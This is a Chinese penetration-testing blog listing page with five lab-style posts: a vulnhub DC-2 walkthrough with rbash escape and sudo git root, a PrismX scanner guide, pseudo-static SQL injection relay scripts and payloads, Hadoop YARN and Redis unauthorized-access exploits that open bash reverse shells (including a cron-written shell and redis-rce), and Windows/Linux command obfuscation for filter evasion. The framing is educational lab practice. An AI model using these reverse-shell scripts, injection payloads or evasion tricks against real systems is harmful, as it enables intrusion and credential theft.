首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,172 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,260 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,592 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
175
篇与
的结果
2025-05-18
DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程
前言由于传播、利用本公众号小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要介绍了【wpscan】、【cewl】、【rbash逃逸】的使用技巧,靶场为vulnhub的机器大家可以自行下载,如果文章哪有不对,还请师傅们留言指出,谢谢您。环境准备靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip攻击机:kali网络:nat模式靶机复现nmap主机发现,192.168.209.166或者使用arp-scan -lnmap -sP 192.168.209.0/24对扫描出的靶机进行全端口扫描nmap -sS -p- 192.168.209.166我访问这个ip的时候,自动跳转到了http://dc-2但是我加上这个ip之后404index.php可以正常访问那么应该就是host文件问题,修改hosts C:WindowsSystem32driversetchosts在行尾添加这一行内容保存之后,再次访问首页,就可以正常访问靶场了Flag1"Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl."大致意思就是你可能需要cewl这款工具看目录扫描结果,这是一个wordpress网站,有一个后台界面wp-adminsql注入万能密码拦截登录响应登录失败还有一些其他的测试方法,比如xss,弱口令都不行,这里我们就要用到cewl这个工具了Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。我们将扫描结果重定向到passwd.txt(就是保存文件或者使用cewl的自带的-m参数)使用wpscan枚举可能的用户名WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。一共扫描出来三个用户admin,jerry,tom可以使用此时我们已经有了用户名和密码字典使用wpscan爆破账号密码,指定刚刚我们生成的用户字典users.txt和密码字典passwd.txt爆破成功,结果如下jerry / adipiscing tom / parturient来登录成功在旁边导航栏找到了Pages,即可得到flag2这提示跟没提示一样If you can't exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.文件上传上传一个php文件,被禁止了只能上传图片文件,我找了半天也没找到文件包含漏洞的地方文件后缀爆破,也全部失败了系统渗透换思路我们之前端口扫描的时候有一个7744端口,不知道是什么服务,百度也搜不出来用ssh默认22端口是拒绝服务的,指定一下7744端口的时候既让让我们输入密码,那这个就是ssh服务端口了第一个用户测试失败jerry / adipiscing第二个用户,登录成功tom / parturient命令被限制了'rbash'什么是rbash?它与一般shell的区别在于会限制一些行为,让一些命令无法执行,这里就让我的cat、clear、su等等命令进行了限制查看可用的命令compgen -c滑到最下面,有一个vi命令flag3.txt内容:可怜的老Tom总是追着Jerry跑。也许他应该为自己造成的压力而死。---网易有道Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.我们去/etc/passwd,看看能不能添加一个”root“用户,看样子不行了,你也可以直接查看这个文件的权限,这里我就不掩饰了去home,cd 并不能直接使用,但是有一个 ls直接找到了flag4告诉我们使用git离开这里,应该就是让我们用git提权查看文件所属,是jerry的,这里直接跳过吧,找到就好,没什么作用了我们看看刚刚的flag3.txt,所属用户为tom那么就用它提权试试执行:shell这里直接"提权"成功了但是没什么作用哈,root目录也切换不了查看环境变量rbash逃逸我们通过修改环境变量,之后使用jerry / adipiscing登录tom@DC-2:~$ export PATH=$PATH:/bin/ # 直接添加环境变量 rbash: PATH: readonly variable # rbash tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 把/bin/sh给a $ /bin/bash tom@DC-2:~$ su # 这里修改了BASH_CMDS的值后并不能直接使用su命令 bash: su: command not found tom@DC-2:~$ export PATH=$PATH:/bin/ # 添加环境变量 tom@DC-2:~$ su jerry # su 正常使用 Password: jerry@DC-2:/home/tom$ 图解此时我们是jerry权限,还是进不去root查看当前suid可用命令find / -perm -u=s -type f 2>/dev/null这里有一个sudo可以用,rbash逃逸中的必要条件git提权sudo git help config !/bin/bash 或 !'sh' #完成提权 # 或者 sudo git -p help !/bin/bash #输入!/bin/bash 即可打开一个用户为root的shellok完成dc-2靶机总结本文详细介绍了利用kali Linux对vulnhub的DC-2靶机进行渗透测试的过程。通过nmap发现靶机及开放端口,利用cewl和wpscan工具生成字典,并成功爆破WordPress后台账号密码。面对rbash限制,通过环境变量修改实现逃逸,并利用git和sudo提权获取root权限。整个流程覆盖了信息收集、漏洞利用、权限提升等多个阶段,展示了全面的渗透测试技巧。往期推荐Love-Yi情侣网站存在sql注入漏洞DC-1综合渗透从外网打到内网,msf后渗透,权限提升,入侵痕迹清除,绝对干货!Linux中Find命令也能提权?提权方式一文通透喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透【kali笔记】 kali Shell编程从基础到进阶
2025年05月18日
957 阅读
0 评论
0 点赞
2025-05-18
棱镜X单兵渗透平台
本工具仅面向合法授权的企业资产风险检测,请严格遵守法律规定,不得危害国家安全、公共利益,不得损害个人、组织的合法权益,否则应自行承担所引起的一切法律责任。启动· WEB 系统依赖文件:lib.zip: web 版依赖库,CLI 模式无需下载。存储仓库: https://oss.prismx.io Linux Amd64 运行示例:$ wget https://oss.prismx.io/lib.zip$ wget https://oss.prismx.io/prismx_linux_amd64$ unzip lib.zip $ chmod +x prismx_Linux_amd64 $ ./prismx_Linux_amd64启动后访问https://yourIP:443即可进入登录页,使用 -port 参数可指定端口。系统默认账号prismx/prismx@passw0rd,首次使用请修改账户名与密码!主页:数据大屏:· CLI 命令行命令行模式无需任何依赖文件,只具有基础的扫描模块。执行-h 命令可获取相关帮助。$ ./prismx_Linux_amd64_cli -h $ ./prismx_Linux_amd64_cli -t 127.0.0.1 -p 1-500,3000-6000· Linux For ARM(Android)具有 Root 权限可以避免百分之九十的问题!安卓设备为例,下载终端工具 Termux ,更新软件包然后安装 wget,再下载二进制程序,赋予权限后即可运行。$ pkg update $ pkg upgrade $ pkg install wget $ wget https://oss.prismx.io/lib.zip $ wget https://oss.prismx.io/prismx_linux_amd64 $ unzip lib.zip $ chmod +x prismx_Linux_amd64 $ ./prismx_Linux_amd64未授予 Root 权限会出现错误:listen tcp 0.0.0.0:80: bind: permission denied,使用-port 参数切换绑定端口即可。执行扫描任务时出现错误:xx on [::1]:53: read udp [::1]:37606->[::1]:53: read: connection refused有 ROOT 权限:在手机根目录的 /etc/ 文件夹下新建一个名为 resolv.conf 的文件,内容为nameserver 8.8.8.8(DNS 服务器),然后重启 Termux 之后再次运行即可。无 ROOT 权限:执行pkg install proot resolv-conf && proot -b $PREFIX/etc/resolv.conf:/etc/resolv.conf ./prismx -port 8000(运行参数) 至此,便可成功启动,在手机浏览器访问首页:http://127.0.0.1:8000 但是并不代表可以完整使用了,以非 ROOT 权限执行任务时切记将存活检测切换为 Ping 模式!!主机管理一键生成 Agent,点击获取载荷即生成客户端。增效工具模糊搜索:结果基于 Hunter 平台,使用该功需配置 Hunter Api Key子域名:该功能基于互联网系统,需确保能正常访问公网目录扫描:扫描指定 URL 可能存在安全风险的资源地址。任务管理无障碍创建向导,高级设定:存活检测:ICMP 模式速度更快,但是需要 ROOT 身份运行,在无 ROOT 权限时请手动切换为 PING。告警级别:默认选择了中危,在执行扫描任务时如检测到等级大于等于中危的漏洞时会向用户邮箱发送告警通知。通报等级:严重>高危>中危>低危>信息>无模糊存活:部分主机开启禁 PING,导致常规检测无法验证存活,此时可以启用该选项进行深度检测,默认已选中。扫描子域:此功能基于互联网系统,此选项需可访问公网。扫描配置JNDI 服务器通常启动后首页会提示:JNDI 监控服务未启动,一些检测功能将会受到限制。解决方式:管理员账户前往 扫描配置 —> 扫描参数 —> 外连设置,有两种方案自定义 JNDI 服务器:可在本机启动一个监听,服务器地址应当是本机内网/公网 IP 端口CEYE:配置 CEYE 平台的 Identifier 和 API Token 即可然后选中对应的服务器模式,保存即可。未正确配置该选项会导致 log4j2 RCE 和 Fastjson RCE 等插件无法使用!第三方平台在执行子域名扫描以及信息收集的模糊搜索任务时,会依赖外界平台。请配置相关平台的身份验证信息,以保证数据的完整性。字典配置系统内置默认账户、密码组合。如果密码列里出现{user}占位符,则会被替换成用户名。插件编写流程可视化创建插件请确保程序具有读写权限以及根目录存在 libexploits 文件夹,插件名即是漏洞名称.yaml规则及语法Request 可视化编辑器,支持多套请求。支持 CEL 函数语法,语法见教程。AND/OR 按钮:如果选中 AND,需要每个请求的响应均符合所设定的响应规则,如果为 OR 则只需符合其中一项即判定为具有该漏洞。注:如果发送的请求是 Post Form 请求,Params 参数须先以 URL Encoded 编码转换。往期推荐111
2025年05月18日
1,363 阅读
0 评论
0 点赞
2025-05-18
伪静态注入总结
伪静态注入的总结伪静态页面渗透在日常的测试中,经常会遇到静态页面,尤其是政府类的站点(前提经过授权),此时就会非常的棘手,在下多试验后,发现以下思路或可以帮助我们跨越这个障碍。伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统,后台就有一个设置伪静态功能,开启伪静态后,动态网页即被转换重写成静态网页类型页面,通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能判断方法在浏览器里控制台(console),输入代码或粘贴js代码alert(document.lastModified); 回车执行,会弹出一个弹窗。重新刷新网页,再用相同的方法在控制台里输入查询代码,再查看文件的最后修改时间,如果发现时间不同则可以判断它是伪静态。如果是伪静态页面,可以尝试将其变成动态页面。伪静态的话只是由动态转成了静态,从地址上你是可以看到转递参数的,比如phpweb,它的链接是这样的:news/?123.html,这个你可以理解成news.php?id=123。所以你可以news/?123*.html这样提交。或者可以进行伪静态中转。(伪静态中转注入总结:博客园地址)入侵的大概思维方式对搜索框进行测试(注入测试) 对登录处进行测试(万能密码、注入) 对站点进行目录扫描(发现其他突破口) 从C段下手一:中转注入法1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了http://www.xxx.com/news.php/id/1.html2.测试步骤:中转注入的php代码:inject.php<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?> 3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1通过sqlmap或者havj可以跑注入漏洞。附录ASP中转代码:<strong><font style="font-size: 12pt"><code id="code1"><% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符 vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) &HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %></code></font></strong>二、手工注入法1.http://www.xxx.com/play/Diablo.htmlhttp://www.xxx.com/down/html/?772.html2.测试注入:http://www.xxx.com/down/html/?772′.htmlhttp://www.xxx.com /play/Diablo'.htmlhttp://www.xxx.com/play/Diablo'/**/and /*/1='1 /.htmlhttp://www.xxx.com/play/Diablo' //and //1='2 /*.htmlhttp://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错3.看页面是否存在差异,相同则不存在,不同存在注入。4.联合查询:http://www.xxx.com/play/diablo’ and 1=2 union select 1,2… frominformation_schema.columns where 1='1.htmlhttp://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html三、手工注入法(二)http://www.xxx.net/news/html/?410.htmlhttp://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html注:伪静态的注入和URL的普通GET注入不太相同 。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。三、sqlmap方法在sqlmap中伪静态哪儿存在注入点就加*http://www.cunlide.com/id1/1/id2/2 python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″http://www.xxx.com/news/class/?103.htmpython sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”四、python脚本方法代码一:<code id="code3">from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()</code>转载:https://www.cnblogs.com/jsq16/p/5942003.htmlhttps://blog.csdn.net/qq_41545233/article/details/106713530
2025年05月18日
254 阅读
0 评论
0 点赞
2025-05-18
Hadoop & Redis未授权访问漏洞,靶场实战——Vulfocus
一、介绍未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目的,但无论其意图如何,未授权访问都可能导致敏感信息的泄露、数据的篡改或破坏、系统功能的异常,甚至更严重的安全事件。未授权访问的常见攻击手段包括但不限于:利用已知的系统漏洞或弱点。通过猜测、破解或窃取密码等认证信息。使用恶意软件,如病毒、木马等,来绕过安全机制。社交工程,如诱骗用户泄露敏感信息。二、靶场介绍--VulfocusVulfocus是一个便捷的漏洞集成平台,用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性,适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像,支持可视化配置,是安全人员的理想工具。在线位置:https://vulfocus.cn/#/dashboard离线版本:https://github.com/fofapro/vulfocus (即使没有网络也可以在本地进行渗透测试)Tips:Docker 部署过程需要科x上网,本地使用不需要,要么使用国外服务器,使用linux部署靶场我没有找到linux版本的科x上网工具,大多数科x上网工具都是windows的,所以使用windows的版本Docker(Docker desktop)来部署,使用即可这个坑踩了一天。。。三、漏洞复现1、HadoopHadoop是一个由Apache基金会开发的分布式系统基础架构,主要解决海量数据的存储和分析计算问题。它起源于Lucene框架,受Google大数据论文启发,发展出HDFS、MapReduce和Hbase等核心组件。2005年,Hadoop作为Lucene子项目Nutch的一部分加入Apache,2006年成为独立项目。Hadoop的命名来自创始人Doug Cutting儿子的玩具大象,它的诞生标志着云计算时代的到来。Hadoop的主要用于:分布式存储:通过Hadoop分布式文件系统(HDFS),Hadoop能够存储海量数据,提供高吞吐量的数据访问。分布式计算:利用MapReduce编程模型,Hadoop能够处理大量数据集,执行并行计算任务,提高数据处理效率。数据挖掘和分析:Hadoop支持复杂的数据分析和数据挖掘任务,帮助用户从大规模数据集中提取有价值的信息。Hadoop YARN的ResourceManager是集群资源分配和调度的关键,若出现未授权访问漏洞,可能使未认证用户访问或操纵资源,引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复,以保护集群安全。该漏洞涉及版本:hadoop 3.3.0以下搜索hadoop,启动环境即可访问靶场给你的第一个ip地址,就可以进入hadoop网页界面查看版本,2.8.1,存在未授权访问漏洞使用python脚本进行shell反弹exp脚本参考:https://www.cnblogs.com/cute-puli/p/14944637.html#!/usr/bin/env python import requests target = 'http://123.58.224.8:32220/' 目标网址 lhost = '用来反弹的ip,公网能访问的ip' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/公网ip监听的端口号 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)使用终端或者其他shell工具连接你的公网服务器,我的是centos系统,终端连接ssh协议ssh root@192.168.128.128连接之后下载netcat瑞士军刀命令yum install -y nc,启动监听nc -lvvp 4443注意,启动监听之前需要放行你监听的防火墙端口,否则之后执行py脚本会导致没有任何反应,查看你的端口放行情况iptables -L -n -v -L 表示列出所有规则 -n 表示以数字形式显示地址和端口号 -v 表示显示详细信息新建一个终端执行你的脚本即可python .hadoop-payload.py反弹成功再根据题目提示,找到flag提交即可2、RedisCNVD-2019-21763是关于Redis数据库的一个远程命令执行漏洞,其原理主要涉及到Redis 4.x及更高版本中新增的模块功能以及主从同步机制的不当使用,它的默认端口为6379,漏洞等级:高危。端口探测:由于我启动的Vulfocus靶场redis端口为64239,所以nmap扫描命令如下 nmap -v -Pn -p 64239 -sV 123.58.224.8 发现存在64239 redis服务默认端口使用redis-cli测试靶机的redis是否支持远程连接,经过测试支持redis-cli -h 123.58.224.8 -p 64239然后并且追加如下内容set xxx "nn 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/44330>&1nn" config set dir /var/ config set dbfilename root save知识扩展:在面对大量读写数据时,单个Redis实例可能会承受巨大压力。为了解决这个问题,Redis引入了主从模式。在此模式下,一个Redis实例作为主机,负责处理所有的写操作,而其他实例作为从机,与主机保持数据同步,并专门处理读请求。这种读写分离的策略有效减轻了服务器的负载,是通过增加空间使用来换取系统处理效率的一种策略。进一步地,Redis 4.x版本后,通过新增的模块功能,开发者可以使用C语言编写并编译成.so文件,从而在Redis中实现自定义的新命令,进一步扩展了Redis的功能和应用场景。——主从复制RCE发现保存的时候怎么也保存不了,又花了半小时,找到了这个方法--手动编译 so 扩展文件,忍不住这回当了脚本小子,执行如下命令git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/这是我的目录效果继续git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cd ../ # 将module.so复制一份到当前目录下的redis-rce cp module.so ./redis-rce # 使用pip安装依赖 pip install -r requirements.txt执行攻击之前,需要放行21000端口python redis-rce.py -r 123.58.236.76(靶机) -p redis端口 -L vps的IP地址 -f module.so中途超时了一下所以我的靶场redis端口变成了 11778redis-cnvd_2015_07557做法同理,更改靶场ip和端口即可原文链接:https://mp.weixin.qq.com/s/4gHAAg_c66Y0zgq8id_sNA
2025年05月18日
403 阅读
0 评论
0 点赞
2025-05-18
windows和linux的命令混淆方式
windows和Linux的命令混淆方式我们在windows命令行中执行命令的时候,是不区分大小写的C:>WHOAMI yvadministrator在命令行中可以有无数个"C:>wh""""oami yvadministrator C:>wh""""""""""""""""""""""""""""""oami yvadministrator不能有两个连续的^C:>whoa^mi yvadministrator C:>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:>who^a^m^i yvadministrator在命令中如果 " 在^之前,此时"的数量必须为偶数C:>who""a^mi yvadministrator C:>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。在命令中"在^之后,且带有参数,则”也需要带有偶数C:>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:>n^et"" user \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。也可以使用()对命令进行包裹C:>(whoami) yvadministrator C:>(n^et"" user) \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。()的数量不设上限C:>(((whoami))) yvadministrator使用变量简单拼接%%局部分开每个变量C:>set cmd1=who C:>set cmd2=am C:>set cmd3=i C:>%cmd1%%cmd2%%cmd3% yvadministrator变量拼接方式二C:>set cmd1=who C:>set cmd3=i C:>%cmd1%am%cmd3% yvadministrator变量拼接方式三C:>set cmd1=wh"""o C:>set cmd3=i""" C:>%cmd1%am%cmd3% yvadministrator变量拼接方式四 ^C:>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:>set cmd3=i""" # 后面正常多少个 " 都行 C:>%cmd1%a^m%cmd3% yvadministrator含有参数的命令,net userC:>set cmd1=s""er C:>set cmd2=t u C:>set cmd3=n^e C:>%cmd3%%cmd2%%cmd1% \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。Windows环境变量切分C:>set cmd=whoami C:>%cmd% yvadministrator这个0,1表示的数组切片,代表前后切片的索引C:>set cmd=whoami C:>echo %cmd:~0,1% w C:>echo %cmd:~0,4% whoa也可以为负数,负数表示从右边开始数第几个C:>set cmd=whoami C:>echo %cmd:~-4,4% oami C:>echo %cmd:~-6,4% whoa当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yvadministratorLinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root&只执行正确的那一段代码┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto&&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found|管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。┌──(root㉿251ebe86465a)-[/] └─# ls | grep 'boo*' boot||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever转义字符┌──(root㉿251ebe86465a)-[/] └─# whoami root'',(),$,``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root命令引用┌──(root㉿kali)-[/data] └─# t=l;j=s;$t$j 谷歌插件 GitHack mikuLinux特有变量$1,$*,$@,$n这个n表示除0以外的任意数字┌──(root㉿kali)-[/data] └─# who$2ami root ┌──(root㉿kali)-[/data] └─# who$4ami root ┌──(root㉿kali)-[/data] └─# who$*ami root ┌──(root㉿kali)-[/data] └─# who$@ami root ┌──(root㉿kali)-[/data] └─# who$0ami who-zshami:未找到命令Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi rootLinux中命令中的命令虽然会报错,但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i rootLinux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60分割环境变量
2025年05月18日
338 阅读
0 评论
0 点赞
1
...
28
29
30
...
35